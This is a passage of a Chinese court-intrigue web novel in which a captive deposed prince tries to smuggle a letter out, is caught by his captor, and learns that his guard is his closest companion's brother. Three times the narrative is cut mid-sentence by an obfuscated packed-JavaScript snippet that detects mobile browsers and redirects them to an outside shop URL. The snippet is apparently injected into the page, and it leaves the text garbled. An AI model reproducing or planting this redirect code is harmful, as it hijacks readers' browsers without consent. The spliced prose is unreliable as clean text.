这些走南闯北的商人最懂时局,国运起伏,直接关系着他们的生计。 岑月白沉默片刻。阳光照在他苍白的脸上,他问出了他最在意的问题:“那新储君是……” “听说是恭王,是先王的叔父,”年轻人道,“也是没办法的事,先王才二十岁,无子无女,甚至还未立后……总得有人继位……” 恭王…… 岑域,岑明川。 是他的皇叔。 岑月白眯起眼,果然是他。 父王还在时,就时刻在提防着他这个叔父。临终前,父王曾握着他的手嘱咐他小心岑明川。但他没想到,这人如此心急,父王才走不足半年,他就动手了。 “但我记得,”岑月白迟疑着缓缓开口,像是忽然想起什么,“先王还有两位姐姐。依照国律,若无皇子,王女亦可继位。” 落云国律法向来是一夫一妻制,皇室也不例外,因此落云皇室历来子嗣稀薄。史书上确实记载过缺少皇子,女君继位的先例。 岑月白有两位亲姐姐:大姐岑澜,封和硕郡主;二姐岑湄,封长乐郡主。 “公子说的是和硕郡主与长乐郡主吧?”中年汉子道,“哎,和硕郡主不是三年前便嫁入大雍了吗?如今是秦王妃,至于长乐郡主……” 他顿了顿,声音更低,“一年内失去父母和幼弟,遭此连番打击,听说她伤心欲绝,自愿随国师前往祁云山巅静修,为国祈福了。” 静修…… 岑月白闻言,心凉了半截。 外人不知,他却太了解岑湄了。 二姐岑湄比岑月白大五岁,心高气傲,坚毅果决,从小就比男孩还要强。 骑马射箭,兵法谋略,她样样学得比岑月白还快,还要好。 十岁那年,岑湄春猎时拿了头筹,把岑月白堵在门口,指着他的鼻子说:“如果不是你出生了,王储本该是我的。我会是个好国君,比你好得多。” 才五岁的岑月白,被皇姐劈头盖脸骂了一顿,伤心地跑去找母后,说自己不想当太子了,他不想要皇姐讨厌他。 母后把他揽在怀里,轻轻拍着他说:“湄儿的天赋与才华,我们都看在眼里。但这与性别无关……让你成为新君,是云岫真君的意思,是国师的预言。” “是天意,选定了你。” “所以你要更加努力,以后做一个好国君。” 从那以后,岑湄连国师谢玉观也一并讨厌上了。 岑月白难以想象,这样的岑湄,会因伤心欲绝就去静修? 这分明是韬光养晦,是迫于形势的蛰伏,甚至可能是与老师谢玉观达成的某种默契下的暂时退避。 在岑明川掌控的朝堂里,这是最聪明的选择。 而老师…… 想到谢玉观,岑月白送了一口气。有老师在身边,姐至少是安全的。 无论如何,这两个他最挂心的人此时在一起,他的心总算安定了下来。 他不再深问,这些商人知道的内情终归有限,他又闲扯了一阵子,才转移话题:“敢问几位这次经商,是走西路还是东路?” “西路。”中年人答道,“这批货要赶在冬至前送到秦州,换些皮货和香料,年后往西域去。” 岑月白心中了然。 从落云国到大雍,商队主要有两条路,都要经过梁州: 东路经梁州、宣京到扬州和东海,交易的货物都是些绫罗茶酒、珠宝海货; 西路经梁州北上,去秦州、朔州,与北疆游牧民交易皮毛马匹,或可继续西行,去往西域。 而在梁州,东路多经舞阳,西路多留青陵。 岑月白此刻要找的,正是去秦州的商队! 落云国局势已乱,老师和二姐都需自保,眼下他能求援的,只有远在秦州的大姐岑澜。 和硕郡主岑澜三年前,与大雍的三皇子倪景天联姻,正是如今的秦王妃。 岑月白又凑近了些。 “实不相瞒,”他声音压得极低,几乎只剩唇语,“我有一事相求。” 说着,他从怀中取出一封早已写好的信。 信纸是特制的暗纹纸,是今早他在倪映天书房里找到的。这种纸对着光看,会显现出梁王府暗纹,是倪映天专用的密信纸张。 信中内容简短,只说他此刻身在雍国,困于青陵梁王府中,但暂无性命之忧。请阿姐勿要轻举妄动,保重自身,他会设法脱身。 他没写身份,但岑澜看到这笔迹,自会明白。 岑月白又从怀中摸出五片金叶子,与信一同递过去:“劳烦各位送到秦州,想办法交到秦王妃手中。不必说谁送的,只说是故人嘱托。” 中年人接过,手指在金叶子上摩挲了一下,眼中闪过犹豫。 岑月白知道他在想什么,秦王妃可不是常人轻易能见到的,说明这信非同小可,风险太大。他没有犹豫,又从怀中取出了一方用软布包裹的暖玉,正是他前些天在揽月阁中翻到的那一方玉。 揭开软布的一角,白玉显露而出,足有八寸长,在阳光下泛着温润的光泽,像是把一泓凝滞的月光。 几个商人的眼睛瞬间直了。 这块玉价值连城,够他们跑十几趟商队的总利润。 “若能送到,”岑月白将玉托在掌心,“下月十五,日落时分,我还在此处等候。届时,此玉便是酬劳。” 巨大的利益面前,警惕被贪婪冲淡。中年汉子舔了舔嘴唇,与其他几人交换了一个眼神,重重点头:“公子放心,我们跑商的讲究信用,这条路我们熟,定将信送到!” 岑月白心中一块石头落地。 他正要再嘱咐些什么…… “送到哪里?” 一个声音从身后传来。 那声音很平静,甚至有些温和,但岑月白浑身的血液在那一瞬间凝固了。 他僵硬地转过身。 倪映天身穿玄色锦袍,腰间玉带束得一丝不苟,就站在他背后三步之外,好整以暇地看着他。 岑月白的脑子里“嗡”的一声。 他出门前明明打听过,倪映天今日要去组织工匠锻造,应该根本没空管他,怎么会…… 倪映天当然是接到系统的警报匆匆赶来抓人的! 青陵城虽大,但是岑月白顶着那样一张惊为天人的脸招摇过市,他没费多少事就找到了。 倪映天没去看面色惨白的岑月白,目光转向那几个商人。 只一眼,几个商人脸色瞬间白了。 他们走南闯北,最会看人脸色。 眼前这青年虽然年轻,但通身的气度,那身只有王公贵族才穿得起的锦袍,还有身后那两个按着剑柄的侍卫…… “王…王爷饶命!”中年汉子扑通跪下,手里的信和金叶子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301681|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉在地上。 另外几人也跟着跪下,磕头如捣蒜。 完了。 岑月白站在原地。 倪映天依旧没说话,只是朝身后的谭封墨抬了抬下巴。 黑衣侍卫上前,捡起地上的信,扫了一眼,又看向那几个商人,喝到:“说。” “是,是这位公子!”中年人颤抖着指向岑月白,“他让我们送信去秦州,给…给秦王妃……还,还说要拿这块玉作酬劳……” 他语无伦次,把刚才的对话复述了个大概。 岑月白冷眼在一旁看着,最后的那点心虚此刻荡然无存。 反正信没送出去,玉还在手里,他没什么实质损失。大不了惹怒倪映天被惩罚一通,前提是他有那个能力…… 想到这里,岑月白眼睛又忍不住望倪映天裆部瞟。 倪映天听完解释,目光落回岑月白脸上,看不出喜怒。 他伸出手,掌心向上:“拿来。” 岑月白别开脸:“信和金叶子不都在那儿了?” 倪映天没收回手,眉头微蹙,朝他怀里扬了扬下巴,声音低沉:“还有。” 岑月白抿了抿唇,从怀中掏出那方暖玉,握在手里。 “但……盒子上,你刻着‘风清月白,赠我心期’。”他盯着倪映天,小声嘟囔着,“难道不就是送给我的吗?” 倪映天此刻的表情一言难尽,他堪堪看着那方莹白的玉,又看看岑月白,沉默了两秒,才问:“你知道这是干什么用的?就随便拿出来当酬劳?” “干……什么的?”岑月白下意识反问。 话一出口,他就看到倪映天的表情更古怪了!眼睛飘忽了一下,视线不自在地移开,喉结微微滚动。 岑月白忽然福至心灵。 他低头,重新审视手中的玉。 八寸长,四指宽,玉质莹润,又是西域的暖玉…… “轰”的一声,浑身的血全涌上了头顶,他手像被烫到一样猛地一抖。 “啪!” 清脆的碎裂声! 那方价值连城的暖玉,就这么脱手坠地,在青石板上摔成了两半。 “嘶……” 倪映天倒吸一口凉气,脸上表情更扭曲,像是感到了什么切身的疼痛。 他立刻别过脸去,不忍卒睹。岑月白也仓皇移开视线。 两人一个看天,一个看地,谁也没看谁。 岑月白耳膜嗡嗡作响。 原来,“风清月白,赠我心期”,赠的竟是这般“心期”?! 他的脑子里一片混乱,脱口而出:“不,不可能……这也,太离谱了……而且……你不是,不行吗……” “咳咳……”倪映天皱眉瞪了岑月白一眼,“谁说的?” 你也不看看,这副身体可是限制文的男主 就算生产队的驴不行,他也不可能不行! 要是原主在这儿,听到这话早把你绑回府,让你见识见识到底有没有八寸,让你看看到底行不行了! 他刚想分辨两句,但看看左右还有人,又把话咽了回去。 倪映天抬手,用力揉了一下眉心:“回府。” 他转身就走,没再看地上那玉,也没再看岑月白惨白又通红的脸。 谭封墨默默上前,捡起那封未被拆开的信和两片金叶子,又用布巾将地上两半暖玉碎片仔细包起,无声地跟在倪映天身后。 而另一旁的祝枭笑得直不起腰,他揽过岑月白朝他比了一个大拇指:“你可真厉害,我还是第一次听人说我们王爷不行的,哈哈哈哈哈哈,可乐死我了,真不愧是王妃殿下!” “说了不许这么叫我!”岑月白怒瞪他一眼。 祝枭却置若罔闻,凑得更近,勾着唇在他耳边说:“话说,昨天小殿下没见到吗?我见过,王爷可是真的有八寸哦~” 岑月白拔腿就走,祝枭在身后不依不饶地跟着:“哎,小殿下是不是不喜欢王爷呀,没事,今夜来寻我呗?” “就是您身体能不能吃得消?” “哎,小殿下~” “您~慢~点~” 14. 殿下 正院的门在身后沉重地关上,隔绝了王府外喧嚣的余音。 倪映天站在岑月白面前,高大的身影挡住了大部分光线。他脸上没什么表情,但眼底沉沉的,像是在权衡什么。 良久,他开口:“你听好了。” 他看着岑月白依旧苍白的侧脸,“我可以给你在青陵城内的自由,但前提是你绝不能离开青陵城。” 岑月白抿紧了唇。 “至于你今天做的事……”倪映天看了眼顾凛怀里的信,“我可以当作没发生。但不会有下次。” “别以为你能轻易糊弄过去,你有任何行动,我都有办法知道。” 说完,倪映天目光重新落回岑月白那张写满“下次还敢”的脸上。 他的眉头微微蹙了一下,随即,将目光投向一旁的祝枭。 祝枭正抱着剑,一副“事不关己”的闲散模样,见王爷看过来,立刻咧开嘴笑,露出一口白牙。 “你,”他顿了顿,“以后跟着他。” 祝枭眼睛一亮:“好嘞,王爷!” 他笑容灿烂得没心没肺,仿佛接了个天大的美差。 倪映天看着他这欢脱样,眉头反而皱得更紧。他本来想的是,祝枭性子跳脱,功夫虽好却不如顾凛沉稳高效,也不如封墨办事周全…… 他带在身边总是用不趁手。 但现在…… 他看着祝枭向岑月白挤了挤眼,像是在说什么“又见面了”之类的话。 “算了。”几乎是下一秒,倪映天就改了主意,“封墨,你去。祝枭,你随我回库房,那边还需要人手。” 祝枭脸上的笑容瞬间垮掉,又不敢忤逆主子,委屈巴巴地“哦”了一声。 但他转念一想,把这个碍手碍脚的谭封墨打发走了,王爷身边岂不是又只剩下自己和顾凛了? 这么一想,他的心情又不由得上扬了一些,哼着小调欢快地跟这王爷走了。 脚步声渐行渐远。 堂屋内只剩下岑月白和昭昭,以及新指派的影子——谭封墨。 “殿下。”谭封墨上前一步,对着岑月白躬身一礼。 那笑容很标准,眼神里的恭敬,连微微欠身的幅度,都恰到好处。 岑月白心里莫名一堵。 “别这么叫我。” 他冷冷撇下一句,转身大步走回了房间,将门“砰”地一声关上。 谭封墨面上并无波澜,在廊下寻了个既不碍眼又能留意房门的角落,默默守在那里。 岑月白回到房内,心绪烦乱。 他索性什么都不想了,随手从书架底层抽出一本民间话本,试图转移自己的注意力。 实则一个字也没看进去,只是在暗戳戳地生着闷气。 窗外的日影一点点西斜。 岑月白抬起头,忽然发觉屋里过分安静。 昭昭呢? 他起身走出房间,堂屋里空荡荡的,只有烛火在无声燃烧。 “昭昭?”他喊了一声。 没有回应。 “殿下。” 谭封墨的声音从身后传来,像鬼魅一样。 岑月白吓了一跳,猛地转身。 那人不知何时站在了廊柱的阴影里,一身黑衣与渐浓的夜色融为一体。 “厨房说晚膳预备好了,昭昭姑娘去取了。”谭封墨走出来,笑容温和。 岑月白的气已经消了大半,但听到那个称呼,还是皱了皱眉:“说了别这么叫我。” “可是,殿下……”谭封墨面露一丝恰到好处的为难。 “我说了不许再叫!”岑月白语气加重。 空气静了一瞬。 谭封墨看着他,那双总是低垂的眼睛此刻抬了起来。灯光下,岑月白看清了他的脸。 五官端正,算不上惊艳,但有种说不出的熟悉感。 尤其是那双眼睛。 “……”谭封墨沉默片刻,终于躬身,“是,岑公子。” “岑……” 岑月白的脚步猛地顿住。 他缓缓地转过身,目光直直得看向垂首而立的谭封墨。 不对! 岑是落云皇室的姓氏,这件事人尽皆知。 但这里的人,绝不该如此自然地脱口而出他的姓氏和名字! 因为几乎没人知道他的身份和来历。 祝枭不知道,昭昭不知道,他们只是称自己公子! 其他仆役更不可能知道…… 倪映天将他掳来,藏于府中,此事干系重大,一旦泄露“落云国新君未死且被囚于雍国梁王府”,必会掀起轩然大波。 倪映天绝不敢大肆宣扬。 那么…… 他死死盯着谭封墨:“你认识我。” “你认识我!”岑月白重复了一遍,声音更厉。 谭封墨没有否认。 他依旧低眉垂眼,姿态恭敬:“是,殿下。” “殿下……”岑月白没有让他再收回这句殿下。他死死盯着谭封墨,一寸一寸地审视。 与落云国人常见的白皙不同,谭封墨的皮肤是健康的小麦色,可能是常年奔波的缘故,但若细看,那眉骨的弧度,眼睛轮廓和周身气质…… 岑月白的心一点点沉下去。 “你是落云人。”他声音冰冷。 谭封墨看着他,他没有回答,而是缓缓跪了下来。 膝盖触地的声音,在寂静的堂屋里格外清晰。 “是,太子殿下。” “唰——” 岑月白猛地转身,从博古架上抽出那把没开刃的长剑,剑尖抵在谭封墨的脖颈上。 “你为什么是倪映天的亲卫!” 岑月白愤怒道:“为什么跟着倪映天做事?!你知道你在做什么吗?!” 谭封墨没有躲。 他甚至没有看脖子上的剑,平静地抬起头看着岑月白,那双眼睛里有什么情绪在翻涌,岑月白看不懂。 就在这时,端着食盒的昭昭回来了。她看到屋内剑拔弩张的情景,吓得慌忙想上前劝架。 “出去!”岑月白头也未回,厉声喝道。 昭昭第一次见如此盛怒的岑月白,被吓得一颤,手里的食盒差点摔在地上,她连忙退了出去,轻轻带上了堂屋的门。 室内重归寂静,只剩下两人压抑的呼吸声。 “回答我!”岑月白厉声逼问。 “王爷于我有恩。”谭封墨说,声音很轻。 “恩?”岑月白笑了,笑声里满是讥讽,“什么天大的恩,能让你助他欺君罔上!能让你背叛故国,为虎作伥!” 他握剑的手抖得厉害。 不敢相信。 倪映天身边,真的有落云国的人。 真的有人,明知他是谁,却还是选择站在敌国那边。 “你可知,”岑月白一字一顿,“你面前站着的,不是殿下……” “而是陛下!” 谭封墨张了张嘴,似乎想说什么,最终只是深深低下头:“属下……知道。” “那你还——” “但属下五年前便离开落云,来到大雍。”谭封墨打断他,“在属下心中,您……一直是太子殿下。” “住口!”岑月白厉声喝道,“休想狡辩!无论如何,也改变不了你谋大逆的罪!” 说着,剑尖又往前送了一分。 谭封墨的脖颈上出现了一道浅浅的红痕,可他依旧没有动:“属下早就是戴罪之身,难逃一死。只是有恩情未报,待到此间事了……属下自会自裁以谢罪。” 他顿了顿,声音低了下去:“请殿下息怒,暂时……宽恕属下这一回。” 岑月白气得浑身发抖。 他死死握着剑,指节泛白,恨不得现在就砍下去。 如果剑开了刃,如果这是在落云国,如果他还是那个太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301682|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或是国君…… 可如今…… 他忽然觉得可笑。 又能怎样呢? 各为其主罢了。是自己无能,遭人算计沦落至此,到最后,竟只能对着一个落云国人撒气。 古往今来,还有比他更窝囊的国君吗? “你走吧……”岑月白惨笑一声,卸了力道。 他最终扫了谭封墨一眼,转身回房,目光却不由得在那张脸上多停留了一瞬。 昏黄的灯光下,谭封墨跪在地上,抬头看着他,瞳仁里盛着的全是自己的影子,目光温驯如一匹良驹。 很熟悉。 这个眼神很熟悉。 岑月白脚步顿住,他重新转过身,正对上谭封墨的面容。 剑眉薄唇,虽然周正帅气,但并不如大雍人那样富有攻击性。 这一切都稀松平常,只是那双眼睛。 眼尾微微上挑的弧度,瞳仁在光下呈现的深褐色,还有那眼神深处某种说不清道不明的恭顺神情。 燕诀…… 这个名字浮现在脑海中,岑月白心中一凛。 不,不是完全一样。 燕诀的眼睛更亮些,笑起来时眼尾会弯成月牙;而眼前这人,眼神沉稳内敛,像深潭。 可那骨相,那眉骨的走向…… “你……是阿诀的……”岑月白蹲下,捂住了谭封墨的口鼻。 谭封墨先是一愣,继而了然地垂眉轻笑了一声:“本来不打算告诉殿下的,没想到殿下如此敏锐。属下长得更像娘。但只有这双眼睛,我娘说我们两个长得一模一样。” 岑月白忽然想起许多年前,燕诀刚入宫不久,有次两人在御花园玩闹时,燕诀不小心摔了一跤,磕破了膝盖。岑月白急得团团转,燕诀却咧嘴笑:“没事,我哥以前说过,男孩子磕磕碰碰才能长得好。” “你还有哥哥?”岑月白当时很惊讶。 燕诀的笑容淡了些,点点头:“嗯,不过他……离开家了。” “去哪了?” “不知道。”燕诀垂下眼,用指尖拈下了岑月白头发上沾着的草叶。 从那以后,岑月白再没听燕诀提起过这个哥哥。偶尔问起,燕诀总是岔开话题,或者沉默。 现在,岑月白明白了。 他心脏在胸腔里沉重地跳动。 “你是……”他听见自己的声音在发抖,“燕诀的什么人?” “属下燕诏,”他低下头,声音低沉,“是燕诀的兄长。” 岑月白的脑子“嗡”了一声。 燕诏? 那个燕诀每次提起,都会刻意回避的哥哥? 他猛然想起了噩梦中,燕诀为了营救自己,被折磨得血肉模糊,奄奄一息的惨状,那双死寂地盯着他的眼睛。 如果……如果燕诏一直在倪映天身边,如果那些折磨…… 哪怕只是旁观…… 岑月白像是被人打了一拳,浑身都软了。他扶着桌子,才勉强站稳。 如果…… 如果那些梦是真的…… 如果燕诀真的会来救他…… “如果……”岑月白的声音哑得厉害,“如果倪映天要让你杀了燕诀……你会下手吗?” 这个问题问出口的瞬间,他就后悔了。 因为他看见燕诏的表情。 那张总是平静的脸上,第一次出现了裂痕。那些痛苦、挣扎、愧疚……种种情绪在那双眼睛里翻涌,却最终被某种信念压下,化作一片死寂的沉默。 他没有回答。 可有时候,沉默就是答案。 “畜生……”岑月白觉得浑身的血都凉了,“果然跟倪映天是一路货色!你们都是畜生!” 燕诏却忽然抬起头,直视着他:“殿下,原来到现在……您还信任着燕诀吗?” 岑月白愣住了。 他身形一顿,瞪大了双眼,死死盯着他。 15. 哄 “你……什么意思?” 岑月白心头猛地一跳。 谭封墨没答话。 然而,谭封墨的话像是一颗怀疑的种子,一旦落下,便开始疯狂汲取记忆的养料,不断生根发芽。 宫变那夜的混乱画面再次闪现,噩梦里朝他挥剑的燕诀…… 那些被他刻意忽略,不愿深想的细节,此刻串联起来,指向一个他无法承受的答案。 岑月白怒吼道:“我问你!你什么意思!” “殿下,您还记得,燕诀怎么被送入宫的吗?”岑月白张了张嘴。 他记得。 他当然记得。 那年秋狩,他才十五岁,林中有野猪意外惊了马,是当时同样年少的猎场侍卫燕诀奋不顾身扑上来救了他,野猪的獠牙划破了燕诀的手臂,鲜血染红了半个衣袖。 岑月白担心地整夜睡不着,固执地要亲自照顾这个舍命相救的少年。父王见两人情谊深厚,又感其忠勇,身手敏捷,根骨不错,便将他留在了宫中。 从此之后,两人几乎寸步不离。 “那年秋狩的主事……”燕诏的声音把他拉回现实,“当年秋狩会的主事是靖国公,而靖国公的女儿,正是恭王的儿媳,也就是……一个月后的落云国太子妃。” 岑月白的呼吸一滞,失去浑身力气般向后靠。 “当啷——” 身后架子上的花瓶掉在地上,摔得粉碎。 “不……不可能……”他摇着头,声音发抖,“燕诀怎么可能是皇叔的人!不可能!” 可是脑海中不由自主地不断回想起,宫变那天的凌晨。 他的头很晕,混乱中,有人从背后给了他一击,他就什么都不知道了。 而当时在殿中,唯一佩戴武器的……确实只有燕诀。 还有那个梦里,他在老师那个小院中,面无表情地朝他挥下剑的燕诀…… 但……但是! 梦里! 梦里燕诀也来救他了! 那样惨烈,那样决绝! 他们相伴五年,点点滴滴,那些信任与依赖早已刻入骨髓。燕诀会为他偷买宫外小吃,会教他开锁,会陪他受罚,会在他夜半惊梦时默默守在榻边…… 他已经失去父母,远离姐姐,老师也无法离开祁云山。 唯有燕诀,是数年如一日陪在他身边,会永远追随他的人! 永远! “不……我不信……”岑月白后背撞上冰冷的墙壁,“谁都会背叛我,唯独……唯独燕诀不会!” 他说得又快又急,像是要说服自己:“我落到倪映天手里,只有他一个人愿意冒死来救我!他不会……不会背叛我的!” 话音落下,堂屋里一片死寂。 燕诏看着他,眼神复杂得难以形容,许久,他才轻声开口:“您是怎么知道……他一定会来救您?” 岑月白僵住了。 是啊。 他怎么知道? 那些都只是梦,是些虚无缥缈,荒诞不经的梦。 岑月白曾无比希望那些梦是假的,但从有任何一刻,他像现在这样,希望那些梦都是真的!真实的!会发生的! 至少“燕诀会来救他”这一点是真的! 哪怕他们都只是梦,哪怕现在事情发生的走向已经完全偏离的梦里的剧情。 他现在只希望有人能来告诉他,燕诀没有背叛他! 他摇摇欲坠,最后一丝力气也被抽干。 “你出去……”他声音沙哑破碎,指着门口,“我不想再见到你。滚出去。” “殿……”谭封墨似乎还想说什么。 “出去!滚啊——!”岑月白用尽最后力气嘶吼出来,眼眶赤红。 谭封墨深深看了他一眼,没再说话,最终化为一声叹息。 他缓缓起身,保持着恭谨的姿态,退后几步,转身,无声地离开了堂屋。 门关上的刹那,岑月白像是被彻底抽去了脊骨,顺着墙面滑坐在地。他慢慢蜷缩起身体,双臂紧紧抱住膝盖,将脸深深埋了进去。 世界一片黑暗,冰冷又空旷。 他感到脸上传来冰凉的湿意。 伸手一摸,是泪水,他竟然哭了。 从父王骤然离世起,他就告诉自己不能哭。从宫变逃亡,沦为阶下囚,他更是将眼泪死死憋回心里。 因为知道,哭了也没用,没人会心疼,他必须自己咬着牙走下去。 可此刻,眼泪却不受控制地涌出。他迅速用袖子抹去泪水,用力到皮肤发痛。 不能哭,岑月白,不能哭。 但鼻尖的酸涩和胸腔的憋闷,却无论如何也压不下去。 - “怎么哭了?” 不知过了多久,一个声音忽然在门口响起。 岑月白猛地抬起头。 倪映天站在那儿,不知来了多久,他依旧穿着那身玄色锦袍。他眉头微蹙,看着岑月白。 岑月白仓促地擦了下脸,想让自己看起来不那么狼狈。 倪映天走了进来,在他面前蹲下。 “昭昭来找我的,说你出事了,我就赶回来了。”他伸出手,有些粗糙,轻轻蹭过岑月白脸颊未擦净的泪痕。 他的动作有点生硬,语气也谈不上温柔,甚至有点别扭:“封墨也是落云人,我以为你们会更好相处一点。” 岑月白别过脸,不说话。 “不哭了。”他说,语气里带着点无奈,像在哄弄什么闹脾气的小动物,“男子汉大丈夫的,哭什么。” 岑月白怔怔地看着他近在咫尺的脸,看着他那双眼睛里自己的倒影,一时忘了反应,也忘了挥开他的手。 他的鼻子一酸。 “谁欺负你了?嗯?”倪映天继续问,耐心地哄着,“昭昭说你跟封墨打起来了?他惹你生气了?你想怎么罚他?我让他随你处置,好不好?” “……” “放了我。”岑月白听见自己说,声音沙哑。 倪映天的手顿了顿。 然后,他摇摇头:“不行,你不能离开。” 岑月白打掉倪映天的手,把头重新埋回臂弯里:“那还说什么……” “……” 看着岑月白的泪水,他有些手足无措,“除了这个,其他的都好,我都给你,好不好?” “什么都给我?说得轻巧。”岑月白抬起头,那张脸苍白,唯有眼眶通红,他冷笑一声,“我想知道真相!想知道到底是谁在害我!想把他们的脑袋一个一个砍下来!” “我想把燕诀押过来,当面问他到底有没有背叛我!你做得到吗?!” 他越说越激动,声音陡然拔高,在寂静的堂屋里回荡。 “别再拿哄小孩那套来哄我了!”岑月白声音嘶哑,“我不要什么金银珠宝,不要什么锦衣玉食的囚笼!我要复仇!对你,对岑域,对恭王!对所有伤害我的人复仇!我要你们都生不如死!你能给我吗?!” 他胸口剧烈起伏,推搡着靠近过来的倪映天,像是要把两个多月来挤压起来的委屈,痛苦和愤怒全都倾倒出来,一股脑发泄在这个罪魁祸首身上。 情急之下,倪映天一把紧紧抱住了他。 “能。”他说。 很轻的一个字。 岑月白所有的哭闹和挣扎,在这一瞬间戛然而止。他僵在倪映天怀里,脑子里一片空白,只有这个字在嗡嗡作响。 “能的。”倪映天跪了下来,凑得更近。 倪映天,大雍最受宠的皇子,此刻单膝跪地,将他拥在怀里,一下又一下地拍着他的后背:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301683|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“都能给你。你要的真相,你要的复仇……我帮你。” 岑月白张了张嘴,却发不出声音。 倪映天抱了他很久,久到岑月白觉得浑身的僵硬都化成了某种虚脱的柔软。 然后,倪映天松开他,抬手,用指腹轻轻擦掉他脸上的泪痕。 “所以别哭了,好不好?”倪映天看着他,那双总是深邃难测的眼睛里,此刻映着烛光,也映着岑月白狼狈的脸。 “骗人。”他声音带着浓重的鼻音,“明明……我说了要杀你。你连我的话都没听清……” “我听到了。”倪映天打断他,“也能给你,都能给你。” 他顿了顿,像是下定了很大的决心:“过会儿你来我屋,今晚跟我睡吧。” 岑月白的睫毛猛地一颤。 “我……跟你说些事。”倪映天补充道,然后立刻意识到这话里的歧义,“不是那种睡!我保证不会碰你。” 他说得急切,耳根又泛起那层熟悉的薄红。 岑月白看着他,看着这个总是游刃有余的男人,此刻手足无措地解释,忽然觉得有些荒唐。 他微微摇了摇头:“不要。” “什么不要?” 岑月白眼睛含着水雾,倒映出倪映天困惑的脸。 “为什么……”他轻声问,像在问一个困扰已久的问题,“你为什么不碰我?” 倪映天的表情凝固了。 “你不是喜欢我吗?”岑月白继续说,“那些药膏,那块暖玉,还有那些专门定制的话本……你不是费尽心思,不辞辛苦把我绑过来吗?不就是为了我这幅皮囊,这副身体?” “那你为什么不碰我?” 空气死寂。烛火噼啪一声,爆出个灯花。 倪映天张了张嘴,避开岑月白的视线,试图转移话题:“今天……今天很晚了,你还没吃晚饭吧?我去叫厨房……” “倪映天!”岑月白厉声打断他。 倪映天僵住了。 岑月白看着他,看了很久,然后缓缓垂下眼。 “你还是……给我个痛快吧。”他声音忽然放轻,以手掩面,“我受够了……不要再关心我了,不要再对我好了。” “我不玩了,我认输了,好吗?”他眼里蓄满泪水,将自己紧紧蜷缩起来,“你赢了。别再这样对我了,别再关心我了……就当可怜可怜我。” “我不想……”他声音哽住了,深吸一口气,才堪堪把话说完,“我不想喜欢上你。” “那也……太可悲了。” 他什么都没有了。 父母,师长,故国,甚至可能连最后一个可以信任的人,都背叛了他。 而眼前这个男人,这个罪魁祸首,这个把他逼到如此境地的帮凶,却在他最孤立无援的时候,变成了唯一一个会抱着他,为他擦眼泪,柔声哄他的人。 岑月白不知道倪映天有几分真心。 但他感觉到内心深处,有什么东西正在松动。一丝不该有的依赖,一缕危险的动摇,正悄悄生根发芽。 他开始害怕了,害怕有一天,自己真会被那些虚假的温柔麻痹,一点一点沉沦下去,无能为力地看着自己沦陷。 然后呢? 然后等着倪映天撕开伪装,露出獠牙,将他吞得连骨头渣滓都不剩。 到那时,该会有什么样的痛苦和绝望等着他……他不敢想…… 倪映天依旧跪在那里,一动不动。 月光在地上投出他长长的影子,与岑月白蜷缩的身影,隔着三步的距离。像是两个世界。 许久,倪映天缓缓站起身。他走到岑月白面前,蹲下,伸手。 岑月白没有躲,温热的手掌覆上他冰凉的发顶,轻轻揉了揉。 “对不起。”倪映天最终说,声音低哑。 16. 月下 堂屋里的烛火渐渐黯下去,蜡泪堆叠在铜盘里,像凝固的琥珀。 倪映天蹲在岑月白面前,又低声哄了很久。 “起来吧,地上凉。”他声音放得很柔,“我们去吃饭,好不好?” 岑月白没动,只是抬眼看他。那双眼睛里雾气未散,他却已经没力气再闹。整个人只剩一片空茫的疲惫。 倪映天叹了口气,干脆伸手将他整个人打横抱了起来。 “你——”岑月白惊得下意识抓住他前襟。 “别动。”倪映天抱着他往外走,“昭昭已经把饭热了三回了。” 他的手臂很稳,胸膛温热。岑月白僵了片刻,最终还是松了力气,将脸侧向一边,任由他抱着穿过回廊。 饭摆在小厅的圆桌上,四菜一汤,都是清淡的。 中央的一盅山药排骨汤还冒着热气,白瓷炖盅里汤色清亮,能看见炖得酥烂的排骨,乳白的山药块,还有几粒红枸杞浮在面上,热气袅袅地升腾。 旁边是一碟白玉菇炒鸡丝,菇片滑嫩,鸡丝纤细,酱色勾得恰到好处,还有一碟清炒豆苗,一碟嫩黄的蒸蛋……最后是小碗胭脂鹅脯,薄切的鹅肉泛着诱人的玫瑰色,旁边配着两片脆嫩的腌渍小青瓜。 倪映天盛了碗汤推到岑月白面前。 汤很烫,他特意用勺子轻轻搅了搅,让热气散得快些。金黄的油星在汤面漾开细碎的涟漪,排骨的肉香混着山药的清甜,随着白汽一起漫上来。 